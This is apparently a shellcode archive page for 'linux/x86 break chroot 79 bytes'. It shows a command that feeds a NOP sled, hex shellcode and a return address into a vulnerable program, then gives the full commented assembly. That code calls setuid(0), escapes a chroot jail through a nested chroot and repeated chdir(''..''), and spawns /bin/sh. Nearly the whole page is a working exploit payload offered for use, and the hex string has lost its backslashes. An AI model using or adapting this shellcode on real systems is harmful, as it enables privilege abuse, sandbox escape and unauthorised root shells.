[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 break chroot 79 bytes
# Published : 2009-12-30
# Author : root@thegibson
# Previous Title : linux/x86 append "/etc/passwd" & exit() 107 bytes
# Next Title : linux/x86 fork bomb 6 bytes
bt:/# ./pwn `perl -e 'print "x90"x189 . "xb0x17x31xdbxcdx80xb0x27x99x52x6ax2ex66x68x2ex2ex89xe3x66xb9xc0x01xcdx80xb0x3dx89xe3xcdx80x66x5ax31xc9x51x66x52xb1x64xb0x0cx89xe3xcdx80xe2xf8xb0x3dx31xc9x88x4cx24x01x89xe3xcdx80xb0x0bx31xc9x51x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x99xcdx80" . "xa9xf6xffxbf"'`
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
root@bt:/#
; linux/x86 break chroot 79 bytes
; root@thegibson
; 2009-12-30
section .text
global _start
_start:
; setuid(0);
mov al, 23
xor ebx, ebx
int 0x80
; mkdir("...", 0700);
mov al, 39
cdq
push edx
push byte 0x2e
push word 0x2e2e
mov ebx, esp
mov cx, 0700o
int 0x80
; chroot("...");
mov al, 61
mov ebx, esp
int 0x80
; for (i = 100; i > 0; i--)
; {
; chdir("..");
; }
pop dx
xor ecx, ecx
push ecx
push dx
mov cl, 100
up:
mov al, 12
mov ebx, esp
int 0x80
loop up
; chroot(".");
mov al, 61
xor ecx, ecx
mov [esp + 1], cl
mov ebx, esp
int 0x80
; execve("//bin/sh", 0, 0);
mov al, 11
xor ecx, ecx
push ecx
push dword 0x68732f6e
push dword 0x69622f2f
mov ebx, esp
cdq
int 0x80